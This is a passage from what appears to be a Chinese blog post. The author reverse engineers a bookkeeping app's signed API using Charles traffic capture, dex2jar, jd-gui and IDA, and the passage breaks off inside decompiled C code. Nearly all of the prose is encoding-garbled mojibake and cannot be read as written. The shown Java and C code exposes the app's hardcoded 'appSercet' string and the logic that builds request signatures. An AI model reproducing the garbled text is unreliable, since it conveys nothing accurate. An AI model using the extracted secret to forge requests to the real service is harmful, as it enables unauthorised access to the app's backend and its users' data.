ä½å½æ¶ææ头æ°å¥½æä¸ä¸ªåªå©ä¸ 2 天ç DDLï¼çµèåäºæå³çä¹åçè¿åº¦å
¨é½æ²¡äºãä¸ååè¦ä»å¤´å¼å§ãæ
æ¥ä¹ä¸æå³å®å¨ Apple Store è±é±ä¹°äºå°æ°ç MacBook Proï¼ä¹åå 个ææä¸çé±ä¸ç¬é´å
¨é½è±å®äºã
ä»é£ä¹åï¼æåä¹æ²¡ææå¼å¨å¨è®°è´¦è¿ä¸ª Appã</p>
<blockquote>
<p>âå 为ææ¯ä¸ªå¾æ端ç人ï¼æé±å°±ä¼æ¥éï¼æ²¡é±å°±ä¼åå°æ´ç´ ççæ´»ãâ</p>
</blockquote>
<p>以åææ¯å¾ä¿¡å¥å¦ä¸æ说çè¿å¥è¯ï¼å¨ 4 æåºé£æ¬¡ä¹°å®æ°çµèé±å
被æ空åï¼æè±äºä¸ä¸åæ¶é´æäºä¸ªä¸å±çæ´æ¿äºä¸åååè¡ââç¶å第äºå¤©å°±è·å»è¥¿æ¹è¹æåºä¹°æ°åºç AirTag äºãð</p>
<p>æåå家çè¿å 天ï¼æ天æä¸èå饿å·å·å«äºä¸ªå¤åï¼æ²¡æ³å°è¢«æç¸åç°äºãð
ä»åè¦å£å©å¿å°å®å±æè¦æ³¨æå¼éï¼è±é±ä¸è½å¤§æ大èï¼è¦ç»§ç»æé±ä¸ºä»¥åååå¤ãè½ç¶è¯è¿æ¯é£äºèè¯ï¼ä½ç»å 4 æåºçæ¨çç»åï¼æè§å¾ç¡®å®ä¸è¯¥è¿æ ·ä¸å»äºï¼é±è¿ä¸è¥¿ï¼è¿æ¯è½çå°±çã</p>
<p>æ以…… æå¨æ¶é大åå¹´ååæå¼äºå¨å¨è®°è´¦ã</p>
<h2 id="ææ³è¦æ´å®å¶åçåè½">ææ³è¦æ´å®å¶åçåè½ï¼</h2>
<p>å¨å¨è®°è´¦å¯¹äºæ¯ä¸ç¬å¼éï¼åªæä¸ä¸ªå¾ç®åçææç»è®¡å±ç¤ºä¸ªé¥¼å¾çåè½ãææ³è¦è½å¤æ ¹æ®æ¯ä¸ªæçå¼éæ
åµï¼ç»æè§ååºä¸ä¸ªè³ä¸æ¬¡åå·¥èµåï¼æå¹³åæ¯å¤©çå¼éä¸éå¯ä»¥æ¯å¤å°ï¼æ¨èçéé¢æ¯å¤å°ï¼æä¸äºå¤å°çç……</p>
<p>è¿æ ·æå°±è½ç¥éå½æå°ä»å¤©ä¸ºæ¢ææ¯å¦è¿å¯ä»¥å¶å°æä¸ç¹ä¸é¡¿ç§ç¤æ奶è¶ï¼å¦ææææ³ä¹°çä¸è¥¿ï¼æè¦å¦ä½éä½æ¯å¤©çå¼éæ¥ååºè¿ä¹å¤é±ã</p>
<p>综ä¸æè¿°ï¼æéè¦åºäºå¨å¨è®°è´¦çè®°è´¦æ°æ®æ©å±å®çåè½ãç»è¿åæçä¿¡æ¯æéï¼æåç°è¿æ¬¾äº§åä»
æ¯æ移å¨ç«¯ãé£è¯ä¸å¤è¯´ï¼å¼å¹²ï¼</p>
<h2 id="ç®ç®ååæ个å
">ç®ç®ååæ个å
</h2>
<p>iPhone ä¸è£
好å¨å¨è®°è´¦ï¼Wi-Fi é
置好代çï¼æå¼ Charles ç®ç®ååæ个å
ã</p>
<p><img src="https://github.red/images/2021/09/daodao_charles_01.png" alt=""></p>
<p>è¯·æ± Query éå 个å¯è½è¦æ³åæ³è·å¾çåæ°æ <code>access_token</code> å <code>sign</code>ãçæµ <code>access_token</code> æ¯ç»å½æ¥å£è¿åçåè¯ï¼è <code>sign</code> åæ¯å¯¹è¯·æ±ä½çç¾åã</p>
<p>é£ä¹æ们åæä¸ä¸ç»å½æ¥å£ <code>/api/login</code>ï¼</p>
<p><img src="https://github.red/images/2021/09/daodao_charles_02.png" alt=""></p>
<p>å¯ä»¥çåºæ¯ä¸ä¸ªç±»ä¼¼ OAuth çéªè¯æ¹å¼ï¼<code>address</code> 为ç»å½çææºå·ï¼<code>password</code> 为å¯ç ï¼<code>nonce</code> æ¯ä¸ºäºç¾åæéè¦çéæºå符串ãè¿å <code>access_token</code> ç¨äºæ¥å£é´æï¼å
¶åç <code>refresh_token</code> çæµæ¯ç¨æ¥å·æ° <code>access_token</code>ã</p>
<p>æå°è¯éæ¾è¿ä¸ªè¯·æ±ï¼æ¥å£è¿å <code>éªç¾å¤±è´¥ï¼ç¾åå·²è¿æ</code>ï¼è¯´æ请æ±åæ°ä¸çæ¶é´æ³ä¹è¢«ç¨äºäºç¾åå½ä¸ï¼å端ä¼æ ¡éªè¯¥æ¶é´æ³ä¸è¯·æ±æ¶é´æ¯å¦ç¸å·®è¿å¤§ã</p>
<p>é£ä¹æ¥ä¸æ¥çé®é¢å°±æ¯è¿ä¸ª <code>sign</code> ç¾å该å¦ä½è·å¾äºï¼æå
æ¯çä¸åºå¥äºï¼Web æåªè½ç¡¬ç头ç®éäºã</p>
<h2 id="ç®ç®ååä¸æµéè±">ç®ç®ååä¸æµéè±</h2>
<p>ä»å¨å¨è®°è´¦å®ç½ä¸è½½å°äº Android ç APK å
ï¼è§£åååç°äºä¸ª dex æ件ãå
è¯çè·ä¸æ <code>dex2jar</code> 转ä¸æ jarã没æ³å°çæäºï¼è¿å¥½æ²¡å 壳ãð</p>
<p>äºä¸ª jar å
æ¿ jd-gui æå¼ãä»ä¸é¢çç»å½è¯·æ±ä¸ï¼æ¾ä¸ä¸ªç¹æ®çåæ° <code>latitude</code> æ <code>longitude</code> å
¨å±æç´¢å符串ãè¿ä¿©æ¯è¯·æ±æ¥å£æ¶é¡ºä¾¿åå端ä¸æ¥è®¾å¤ç»çº¬åº¦å®ä½çåæ°ï¼ä¸è¬æ¥è¯´ä¸å¤§ä¼å¨è¯·æ±çå
¶ä»å°æ¹åºç°ã</p>
<p>äºå®ä¸å¨å¨è®°è´¦è¿å¼ç¨äºé«å¾·å°å¾ç SDKï¼æ以æç´¢ç»æå
¶å®è¿æ¯æå¹²æ°çãæé¤è°å½¢å¦ <code>com.amap.*</code> çå
åï¼å¨ <code>classes3.dex</code> ç <code>com.pengda.mobile.hhjz.b</code> ä¸ï¼æ¾å°äºè¿äºè¯·æ±åæ°ã</p>
<p>æ们ç´æ¥çæå
³å¿ç <code>sign</code> åæ°æ¯å¦ä½çæçï¼</p>
<p><img src="https://github.red/images/2021/09/daodao-jdgui-sign.png" alt=""></p>
<p>å
å±ç <code>a</code> æ¹æ³æ¥æ¶ä¸¤ä¸ªåæ°ï¼<code>str1</code> ä¸ <code>str4</code>ï¼<code>str1</code> å°±æ¯ä¸é¢æé åºç <code>nonce</code> åæ°ãè§å®è¿ <code>nonce</code> åæ°åæ¯ UUID åæ¯æ¶é´æ³çï¼åé¢åç°ç¡®å®åªéè¦ä¸ä¸ªéæºçå符串就è¡ã第äºä¸ªåæ° <code>str4</code> å°±æ¯æä¸æ¹è·å¾çå½å毫ç§æ¶é´æ³ã
è¿ä¸¤ä¸ªåæ°é½æ²¡é®é¢ï¼æ们æ¥çå
å± <code>a</code> æ¹æ³çå®ä¹ï¼</p>
<div class="highlight"><pre tabindex="0" style="color:#e6edf3;background-color:#0d1117;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-java" data-lang="java"><span style="display:flex;"><span><span style="color:#ff7b72">private</span><span style="color:#6e7681"> </span>ArrayList<span style="color:#ff7b72;font-weight:bold"><</span>Sign<span style="color:#ff7b72;font-weight:bold">></span><span style="color:#6e7681"> </span><span style="color:#d2a8ff;font-weight:bold">a</span>(String<span style="color:#6e7681"> </span>paramString1,<span style="color:#6e7681"> </span>String<span style="color:#6e7681"> </span>paramString2)<span style="color:#6e7681"> </span>{<span style="color:#6e7681">
</span></span></span><span style="display:flex;"><span><span style="color:#6e7681"> </span>ArrayList<span style="color:#ff7b72;font-weight:bold"><</span>Sign<span style="color:#ff7b72;font-weight:bold">></span><span style="color:#6e7681"> </span>arrayList<span style="color:#6e7681"> </span><span style="color:#ff7b72;font-weight:bold">=</span><span style="color:#6e7681"> </span><span style="color:#ff7b72">new</span><span style="color:#6e7681"> </span>ArrayList();<span style="color:#6e7681">
</span></span></span><span style="display:flex;"><span><span style="color:#6e7681"> </span>Sign<span style="color:#6e7681"> </span>sign2<span style="color:#6e7681"> </span><span style="color:#ff7b72;font-weight:bold">=</span><span style="color:#6e7681"> </span><span style="color:#ff7b72">new</span><span style="color:#6e7681"> </span>Sign();<span style="color:#6e7681">
</span></span></span><span style="display:flex;"><span><span style="color:#6e7681"> </span>sign2.setKey(<span style="color:#a5d6ff">"nonce"</span>);<span style="color:#6e7681">
</span></span></span><span style="display:flex;"><span><span style="color:#6e7681"> </span>sign2.setValue(paramString1);<span style="color:#6e7681">
</span></span></span><span style="display:flex;"><span><span style="color:#6e7681"> </span>Sign<span style="color:#6e7681"> </span>sign1<span style="color:#6e7681"> </span><span style="color:#ff7b72;font-weight:bold">=</span><span style="color:#6e7681"> </span><span style="color:#ff7b72">new</span><span style="color:#6e7681"> </span>Sign();<span style="color:#6e7681">
</span></span></span><span style="display:flex;"><span><span style="color:#6e7681"> </span>sign1.setKey(<span style="color:#a5d6ff">"timestamp"</span>);<span style="color:#6e7681">
</span></span></span><span style="display:flex;"><span><span style="color:#6e7681"> </span>sign1.setValue(paramString2);<span style="color:#6e7681">
</span></span></span><span style="display:flex;"><span><span style="color:#6e7681"> </span>arrayList.add(sign2);<span style="color:#6e7681">
</span></span></span><span style="display:flex;"><span><span style="color:#6e7681"> </span>arrayList.add(sign1);<span style="color:#6e7681">
</span></span></span><span style="display:flex;"><span><span style="color:#6e7681"> </span><span style="color:#ff7b72">return</span><span style="color:#6e7681"> </span>arrayList;<span style="color:#6e7681">
</span></span></span><span style="display:flex;"><span><span style="color:#6e7681"></span>}<span style="color:#6e7681">
</span></span></span></code></pre></div><p>ååçç®åï¼ä»
ä»
åªæ¯æéæºå符串å毫ç§æ¶é´æ³åå«ä»¥ key 为 <code>nonce</code> å <code>timestamp</code> æ¾å°äº ArrayList éã</p>
<p>è¿å ArrayList ä¼ å
¥å¤å±ç <code>a</code> æ¹æ³ãè¿æ¯ä¸ä¸ªéææ¹æ³ï¼å
¶ä¸ä»£ç ä¸è°ç¨ <code>v.a</code> æ¯ä¸ºäºè¾åºè°è¯æ¥å¿ãæ们å°è¿é¨å代ç ï¼è¿åä¸äº StringBuilder æé æ¥å¿å符串ç代ç å
¨é¨å æï¼ç®ååç代ç å¦ä¸ï¼</p>
<div class="highlight"><pre tabindex="0" style="color:#e6edf3;background-color:#0d1117;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-java" data-lang="java"><span style="display:flex;"><span><span style="color:#ff7b72">public</span><span style="color:#6e7681"> </span><span style="color:#ff7b72">static</span><span style="color:#6e7681"> </span>String<span style="color:#6e7681"> </span><span style="color:#d2a8ff;font-weight:bold">a</span>(ArrayList<span style="color:#ff7b72;font-weight:bold"><</span>Sign<span style="color:#ff7b72;font-weight:bold">></span><span style="color:#6e7681"> </span>paramArrayList)<span style="color:#6e7681"> </span>{<span style="color:#6e7681">
</span></span></span><span style="display:flex;"><span><span style="color:#6e7681"> </span>Sign<span style="color:#6e7681"> </span>sign<span style="color:#6e7681"> </span><span style="color:#ff7b72;font-weight:bold">=</span><span style="color:#6e7681"> </span><span style="color:#ff7b72">new</span><span style="color:#6e7681"> </span>Sign();<span style="color:#6e7681">
</span></span></span><span style="display:flex;"><span><span style="color:#6e7681"> </span>sign.setKey(<span style="color:#a5d6ff">"appSercet"</span>);<span style="color:#6e7681">
</span></span></span><span style="display:flex;"><span><span style="color:#6e7681"> </span>sign.setValue(<span style="color:#a5d6ff">"853a0bb675aa143e6fa2dc607d55a9bb"</span>);<span style="color:#6e7681">
</span></span></span><span style="display:flex;"><span><span style="color:#6e7681"> </span>paramArrayList.add(sign);<span style="color:#6e7681">
</span></span></span><span style="display:flex;"><span><span style="color:#6e7681"> </span>Collections.sort(paramArrayList,<span style="color:#6e7681"> </span><span style="color:#ff7b72">new</span><span style="color:#6e7681"> </span>q());<span style="color:#6e7681">
</span></span></span><span style="display:flex;"><span><span style="color:#6e7681">
</span></span></span><span style="display:flex;"><span><span style="color:#6e7681"> </span>StringBuilder<span style="color:#6e7681"> </span>stringBuilder3<span style="color:#6e7681"> </span><span style="color:#ff7b72;font-weight:bold">=</span><span style="color:#6e7681"> </span><span style="color:#ff7b72">new</span><span style="color:#6e7681"> </span>StringBuilder();<span style="color:#6e7681">
</span></span></span><span style="display:flex;"><span><span style="color:#6e7681"> </span>Local<span style="color:#6e7681"> </span>local<span style="color:#6e7681"> </span><span style="color:#ff7b72;font-weight:bold">=</span><span style="color:#6e7681"> </span><span style="color:#ff7b72">new</span><span style="color:#6e7681"> </span>Local();<span style="color:#6e7681">
</span></span></span><span style="display:flex;"><span><span style="color:#6e7681"> </span><span style="color:#ff7b72">try</span><span style="color:#6e7681"> </span>{<span style="color:#6e7681">
</span></span></span><span style="display:flex;"><span><span style="color:#6e7681"> </span><span style="color:#ff7b72">byte</span><span style="color:#ff7b72;font-weight:bold">[]</span><span style="color:#6e7681"> </span>arrayOfByte<span style="color:#6e7681"> </span><span style="color:#ff7b72;font-weight:bold">=</span><span style="color:#6e7681"> </span>local.code(paramArrayList,<span style="color:#6e7681"> </span>i);<span style="color:#6e7681">
</span></span></span><span style="display:flex;"><span><span style="color:#6e7681"> </span><span style="color:#ff7b72">int</span><span style="color:#6e7681"> </span>j<span style="color:#6e7681"> </span><span style="color:#ff7b72;font-weight:bold">=</span><span style="color:#6e7681"> </span>arrayOfByte.length;<span style="color:#6e7681">
</span></span></span><span style="display:flex;"><span><span style="color:#6e7681"> </span><span style="color:#ff7b72">for</span><span style="color:#6e7681"> </span>(i<span style="color:#6e7681"> </span><span style="color:#ff7b72;font-weight:bold">=</span><span style="color:#6e7681"> </span>0;<span style="color:#6e7681"> </span>i<span style="color:#6e7681"> </span><span style="color:#ff7b72;font-weight:bold"><</span><span style="color:#6e7681"> </span>j;<span style="color:#6e7681"> </span>i<span style="color:#ff7b72;font-weight:bold">++</span>)<span style="color:#6e7681"> </span>{<span style="color:#6e7681">
</span></span></span><span style="display:flex;"><span><span style="color:#6e7681"> </span>String<span style="color:#6e7681"> </span>str2<span style="color:#6e7681"> </span><span style="color:#ff7b72;font-weight:bold">=</span><span style="color:#6e7681"> </span>Integer.toHexString(arrayOfByte<span style="color:#ff7b72;font-weight:bold">[</span>i<span style="color:#ff7b72;font-weight:bold">]</span><span style="color:#6e7681"> </span><span style="color:#ff7b72;font-weight:bold">&</span><span style="color:#6e7681"> </span>0xFF);<span style="color:#6e7681">
</span></span></span><span style="display:flex;"><span><span style="color:#6e7681"> </span>String<span style="color:#6e7681"> </span>str1<span style="color:#6e7681"> </span><span style="color:#ff7b72;font-weight:bold">=</span><span style="color:#6e7681"> </span>str2;<span style="color:#6e7681">
</span></span></span><span style="display:flex;"><span><span style="color:#6e7681"> </span><span style="color:#ff7b72">if</span><span style="color:#6e7681"> </span>(str2.length()<span style="color:#6e7681"> </span><span style="color:#ff7b72;font-weight:bold">==</span><span style="color:#6e7681"> </span>1)<span style="color:#6e7681"> </span>{<span style="color:#6e7681">
</span></span></span><span style="display:flex;"><span><span style="color:#6e7681"> </span>StringBuilder<span style="color:#6e7681"> </span>stringBuilder4<span style="color:#6e7681"> </span><span style="color:#ff7b72;font-weight:bold">=</span><span style="color:#6e7681"> </span><span style="color:#ff7b72">new</span><span style="color:#6e7681"> </span>StringBuilder();<span style="color:#6e7681">
</span></span></span><span style="display:flex;"><span><span style="color:#6e7681"> </span>stringBuilder4.append(<span style="color:#a5d6ff">"0"</span>);<span style="color:#6e7681">
</span></span></span><span style="display:flex;"><span><span style="color:#6e7681"> </span>stringBuilder4.append(str2);<span style="color:#6e7681">
</span></span></span><span style="display:flex;"><span><span style="color:#6e7681"> </span>str1<span style="color:#6e7681"> </span><span style="color:#ff7b72;font-weight:bold">=</span><span style="color:#6e7681"> </span>stringBuilder4.toString();<span style="color:#6e7681">
</span></span></span><span style="display:flex;"><span><span style="color:#6e7681"> </span>}<span style="color:#6e7681">
</span></span></span><span style="display:flex;"><span><span style="color:#6e7681"> </span>stringBuilder3.append(str1);<span style="color:#6e7681">
</span></span></span><span style="display:flex;"><span><span style="color:#6e7681"> </span>}<span style="color:#6e7681">
</span></span></span><span style="display:flex;"><span><span style="color:#6e7681"> </span>}<span style="color:#6e7681"> </span><span style="color:#ff7b72">catch</span><span style="color:#6e7681"> </span>(Exception<span style="color:#6e7681"> </span>exception)<span style="color:#6e7681"> </span>{<span style="color:#6e7681">
</span></span></span><span style="display:flex;"><span><span style="color:#6e7681"> </span>}<span style="color:#6e7681">
</span></span></span><span style="display:flex;"><span><span style="color:#6e7681"> </span><span style="color:#ff7b72">return</span><span style="color:#6e7681"> </span>stringBuilder3.toString();<span style="color:#6e7681">
</span></span></span><span style="display:flex;"><span><span style="color:#6e7681"></span>}<span style="color:#6e7681">
</span></span></span></code></pre></div><p>è¿ä¸ª <code>Sign</code> ç±»ä¹åªæ¯å®ç°äºä¸ä¸ªç®åç getter å setterï¼åªæ¯å¨ <code>setValue</code> çæ¶åä¼å¯¹ä¼ å
¥çåæ°è¿è¡ URL ç¼ç ã
代ç ä¸å° <code>appSercet</code> æ¼å
¥äºä¸é¢ä¼ å
¥ç ArrayList ä¸ï¼å¹¶å¯¹ ArrayList æé®åè¿è¡äºæåºã</p>
<p>åé¢äºæ
å°±åå¾å¤æèµ·æ¥äº……
<code>Local local = new Local();</code> å®ä¾åäº <code>Local</code> 类并è°ç¨äºå
¶ <code>code</code> æ¹æ³ã<code>Local</code> ç±»æ¯ä»ä¹å¢ï¼æ¯å¼å
¥çä¸ä¸ª .so åºï¼æç´æ¥å¿èºåæ¢ãð«</p>
<div class="highlight"><pre tabindex="0" style="color:#e6edf3;background-color:#0d1117;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-java" data-lang="java"><span style="display:flex;"><span><span style="color:#ff7b72">public</span><span style="color:#6e7681"> </span><span style="color:#ff7b72">class</span> <span style="color:#f0883e;font-weight:bold">Local</span><span style="color:#6e7681"> </span>{<span style="color:#6e7681">
</span></span></span><span style="display:flex;"><span><span style="color:#6e7681"> </span><span style="color:#ff7b72">static</span><span style="color:#6e7681"> </span>{<span style="color:#6e7681">
</span></span></span><span style="display:flex;"><span><span style="color:#6e7681"> </span>System.loadLibrary(<span style="color:#a5d6ff">"native-lib"</span>);<span style="color:#6e7681">
</span></span></span><span style="display:flex;"><span><span style="color:#6e7681"> </span>}<span style="color:#6e7681">
</span></span></span><span style="display:flex;"><span><span style="color:#6e7681">
</span></span></span><span style="display:flex;"><span><span style="color:#6e7681"></span><span style="color:#ff7b72">public</span><span style="color:#6e7681"> </span><span style="color:#ff7b72">native</span><span style="color:#6e7681"> </span><span style="color:#ff7b72">byte</span><span style="color:#ff7b72;font-weight:bold">[]</span><span style="color:#6e7681"> </span><span style="color:#d2a8ff;font-weight:bold">code</span>(ArrayList<span style="color:#ff7b72;font-weight:bold"><</span>Sign<span style="color:#ff7b72;font-weight:bold">></span><span style="color:#6e7681"> </span>paramArrayList,<span style="color:#6e7681"> </span><span style="color:#ff7b72">int</span><span style="color:#6e7681"> </span>paramInt)<span style="color:#6e7681"> </span><span style="color:#ff7b72">throws</span><span style="color:#6e7681"> </span>IndexOutOfBoundsException;<span style="color:#6e7681">
</span></span></span><span style="display:flex;"><span><span style="color:#6e7681"></span>}<span style="color:#6e7681">
</span></span></span></code></pre></div><p>没åæ³äºï¼ç¡¬ç头ç®ä¸å§ï¼å½æ¶è¯´å®è¯æå¿éä¹æ²¡åºã</p>
<h2 id="ç®ç®ååé个-so大æ¦">ç®ç®ååé个 soï¼å¤§æ¦ï¼</h2>
<p>ä»è§£åç APK ä¸æ¾å° <code>lib/armeabi-v7a/libnative-lib.so</code>ï¼æè¿ IDA éã</p>
<p>ä»å·¦ä¾§çå½æ°å表éæ¾å° <code>Java_com_pengda_mobile_hhjz_encrypt_Local_code</code>ï¼è¿å°±æ¯æ们 <code>Local</code> ç±»ç <code>code</code> æ¹æ³ã<strong>ç¥åºæå¯ä¸ä¼ç F5 大æ³ï¼</strong></p>
<p><img src="https://github.red/images/2021/09/daodao-ida-f5.png" alt=""></p>
<p>ä¸é¢ç C 代ç ä¸æå¾å¤ä¹±ä¸å
«ç³ç强å¶ç±»å转æ¢ï¼å³é® <code>Hide casts</code> éèæå®ä»¬ã
ç¶åæ们æ¥è¿å JNI çå½æ°åãæ¥èµæåç°æ人说éè¦æå¨å¯¼å
¥ jni.h 头æ件ï¼ä½åæ人说å
¶å® IDA ç°å¨ä¸éè¦äºã</p>
<p><img src="https://github.red/images/2021/09/daodao-ida-jni-before.png" alt="">
å¯ä»¥çå° JNI çæéå
¥å <code>a1</code> 被èµå¼ç»äºåé <code>v5</code>ãéä¸ <code>v5</code>ï¼æä¸ <code>Y</code>ï¼è¾å
¥ <code>JNIEnv*</code>ï¼ç¬é´ç¥æ¸
æ°ç½ï¼</p>
<div class="highlight"><pre tabindex="0" style="color:#e6edf3;background-color:#0d1117;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c" data-lang="c"><span style="display:flex;"><span>v30 <span style="color:#ff7b72;font-weight:bold">=</span> (<span style="color:#ff7b72;font-weight:bold">*</span>a1)<span style="color:#ff7b72;font-weight:bold">-></span><span style="color:#d2a8ff;font-weight:bold">GetObjectClass</span>(a1, a3);
</span></span><span style="display:flex;"><span>v23 <span style="color:#ff7b72;font-weight:bold">=</span> (<span style="color:#ff7b72;font-weight:bold">*</span>a1)<span style="color:#ff7b72;font-weight:bold">-></span><span style="color:#d2a8ff;font-weight:bold">GetMethodID</span>(a1, v30, <span style="color:#ff7b72;font-weight:bold">&</span>dword_4234, <span style="color:#a5d6ff">"(I)Ljava/lang/Object;"</span>);
</span></span><span style="display:flex;"><span>v4 <span style="color:#ff7b72;font-weight:bold">=</span> (<span style="color:#ff7b72;font-weight:bold">*</span>a1)<span style="color:#ff7b72;font-weight:bold">-></span><span style="color:#d2a8ff;font-weight:bold">GetMethodID</span>(a1, v30, <span style="color:#a5d6ff">"size"</span>, <span style="color:#a5d6ff">"()I"</span>);
</span></span><span style="display:flex;"><span>v5 <span style="color:#ff7b72;font-weight:bold">=</span> a1;
</span></span><span style="display:flex;"><span>v6 <span style="color:#ff7b72;font-weight:bold">=</span> _JNIEnv<span style="color:#ff7b72;font-weight:bold">::</span><span style="color:#d2a8ff;font-weight:bold">CallIntMethod</span>(a1, a3, v4);
</span></span><span style="display:flex;"><span><span style="color:#d2a8ff;font-weight:bold">memset</span>(v35, <span style="color:#a5d6ff">0</span>, <span style="color:#ff7b72;font-weight:bold">&</span>stru_2710);
</span></span><span style="display:flex;"><span>v22 <span style="color:#ff7b72;font-weight:bold">=</span> v6;
</span></span><span style="display:flex;"><span><span style="color:#ff7b72">if</span> ( v6 <span style="color:#ff7b72;font-weight:bold">>=</span> <span style="color:#a5d6ff">1</span> )
</span></span><span style="display:flex;"><span>{
</span></span><span style="display:flex;"><span> v7 <span style="color:#ff7b72;font-weight:bold">=</span> <span style="color:#a5d6ff">0</span>;
</span></span><span style="display:flex;"><span> <span style="color:#ff7b72">do</span>
</span></span><span style="display:flex;"><span> {
</span></span><span style="display:flex;"><span> v33 <span style="color:#ff7b72;font-weight:bold">=</span> v7;
</span></span><span style="display:flex;"><span> v29 <span style="color:#ff7b72;font-weight:bold">=</span> _JNIEnv<span style="color:#ff7b72;font-weight:bold">::</span><span style="color:#d2a8ff;font-weight:bold">CallObjectMethod</span>(a1, a3, v23);
</span></span><span style="display:flex;"><span> v31 <span style="color:#ff7b72;font-weight:bold">=</span> (<span style="color:#ff7b72;font-weight:bold">*</span>a1)<span style="color:#ff7b72;font-weight:bold">-></span><span style="color:#d2a8ff;font-weight:bold">GetObjectClass</span>(a1, v29);
</span></span><span style="display:flex;"><span> v8 <span style="color:#ff7b72;font-weight:bold">=</span> (<span style="color:#ff7b72;font-weight:bold">*</span>a1)<span style="color:#ff7b72;font-weight:bold">-></span><span style="color:#d2a8ff;font-weight:bold">GetMethodID</span>(a1, v31, <span style="color:#a5d6ff">"getKey"</span>, <span style="color:#a5d6ff">"()Ljava/lang/String;"</span>);
</span></span><span style="display:flex;"><span> v9 <span style="color:#ff7b72;font-weight:bold">=</span> _JNIEnv<span style="color:#ff7b72;font-weight:bold">::</span><span style="color:#d2a8ff;font-weight:bold">CallObjectMethod</span>(a1, v29, v8);
</span></span><span style="display:flex;"><span> v34[<span style="color:#a5d6ff">0</span>] <span style="color:#ff7b72;font-weight:bold">=</span> <span style="color:#a5d6ff">1</span>;
</span></span><span style="display:flex;"><span> v27 <span style="color:#ff7b72;font-weight:bold">=</span> (<span style="color:#ff7b72;font-weight:bold">*</span>a1)<span style="color:#ff7b72;font-weight:bold">-></span><span style="color:#d2a8ff;font-weight:bold">GetStringUTFChars</span>(a1, v9, v34);
</span></span><span style="display:flex;"><span> v10 <span style="color:#ff7b72;font-weight:bold">=</span> (<span style="color:#ff7b72;font-weight:bold">*</span>a1)<span style="color:#ff7b72;font-weight:bold">-></span><span style="color:#d2a8ff;font-weight:bold">GetMethodID</span>(a1, v31, <span style="color:#a5d6ff">"getValue"</span>, <span style="color:#a5d6ff">"()Ljava/lang/String;"</span>);
</span></span><span style="display:flex;"><span> v11 <span style="color:#ff7b72;font-weight:bold">=</span> _JNIEnv<span style="color:#ff7b72;font-weight:bold">::</span><span style="color:#d2a8ff;font-weight:bold">CallObjectMethod</span>(a1, v29, v10);
</span></span><span style="display:flex;"><span> v12 <span style="color:#ff7b72;font-weight:bold">=</span> (<span style="color:#ff7b72;font-weight:bold">*</span>a1)<span style="color:#ff7b72;font-weight:bold">-></span><span style="color:#d2a8ff;font-weight:bold">GetStringUTFChars</span>(a1, v11, v34);
</span></span><span style="display:flex;"><span> <span style="color:#ff7b72">if</span> ( <span style="color:#ff7b72;font-weight:bold">!</span><span style="color:#d2a8ff;font-weight:bold">strcmp</span>(<span style="color:#a5d6ff">"appSercet"</span>, v27) )
</span></span><span style="display:flex;"><span> <span style="color:#d2a8ff;font-weight:bold">strcat</span>(v35, <span style="color:#a5d6ff">"853a0bb675aa143e6fa2dc607d55a9bb"</span>);
</span></span><span style="display:flex;"><span> <span style="color:#ff7b72">else</span>
</span></span><span style="display:flex;"><span> <span style="color:#d2a8ff;font-weight:bold">strcat</span>(v35, v12);
</span></span><span style="display:flex;"><span> v7 <span style="color:#ff7b72;font-weight:bold">=</span> v33 <span style="color:#ff7b72;font-weight:bold">+</span> <span style="color:#a5d6ff">1</span>;
</span></span><span style="display:flex;"><span> }
</span></span><span style="display:flex;"><span> <span style="color:#ff7b72">while</span> ( v22 <span style="color:#ff7b72;font-weight:bold">!=</span> v33 <span style="color:#ff7b72;font-weight:bold">+</span> <span style="color:#a5d6ff">1</span> );
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>v13 <span style="color:#ff7b72;font-weight:bold">=</span> (<span style="color:#ff7b72;font-weight:bold">*</span>a1)<span style="color:#ff7b72;font-weight:bold">-></span><span style="color:#d2a8ff;font-weight:bold">FindClass</span>(a1, <span style="color:#a5d6ff">"java/security/MessageDigest"</span>);
</span></span><span style="display:flex;"><span>v14 <span style="color:#ff7b72;font-weight:bold">=</span> <span style="color:#a5d6ff">0</span>;
</span></span><span style="display:flex;"><span><span style="color:#ff7b72">if</span> ( v13 )
</span></span><span style="display:flex;"><span>{
</span></span><span style="display:flex;"><span> v15 <span style="color:#ff7b72;font-weight:bold">=</span> (<span style="color:#ff7b72;font-weight:bold">*</span>v5)<span style="color:#ff7b72;font-weight:bold">-></span><span style="color:#d2a8ff;font-weight:bold">GetStaticMethodID</span>(v5, v13, <span style="color:#a5d6ff">"getInstance"</span>, <span style="color:#a5d6ff">"(Ljava/lang/String;)Ljava/security/MessageDigest;"</span>);
</span></span><span style="display:flex;"><span> <span style="color:#ff7b72">if</span> ( v15
</span></span><span style="display:flex;"><span> <span style="color:#ff7b72;font-weight:bold">&&</span> (v16 <span style="color:#ff7b72;font-weight:bold">=</span> (<span style="color:#ff7b72;font-weight:bold">*</span>v5)<span style="color:#ff7b72;font-weight:bold">-></span><span style="color:#d2a8ff;font-weight:bold">NewStringUTF</span>(v5, <span style="color:#ff7b72;font-weight:bold">&</span>dword_42D0),
</span></span><span style="display:flex;"><span> v32 <span style="color:#ff7b72;font-weight:bold">=</span> _JNIEnv<span style="color:#ff7b72;font-weight:bold">::</span><span style="color:#d2a8ff;font-weight:bold">CallStaticObjectMethod</span>(v5, v13, v15, v16),
</span></span><span style="display:flex;"><span> (v17 <span style="color:#ff7b72;font-weight:bold">=</span> (<span style="color:#ff7b72;font-weight:bold">*</span>v5)<span style="color:#ff7b72;font-weight:bold">-></span><span style="color:#d2a8ff;font-weight:bold">GetMethodID</span>(v5, v13, <span style="color:#a5d6ff">"update"</span>, <span style="color:#a5d6ff">"([B)V"</span>)) <span style="color:#ff7b72;font-weight:bold">!=</span> <span style="color:#a5d6ff">0</span>) )
</span></span><span style="display:flex;"><span> {
</span></span><span style="display:flex;"><span> v28 <span style="color:#ff7b72;font-weight:bold">=</span> v17;
</span></span><span style="display:flex;"><span> v25 <span style="color:#ff7b72;font-weight:bold">=</span> (<span style="color:#ff7b72;font-weight:bold">*</span>v5)<span style="color:#ff7b72;font-weight:bold">-></span><span style="color:#d2a8ff;font-weight:bold">FindClass</span>(v5, <span style="color:#a5d6ff">"java/lang/String"</span>);
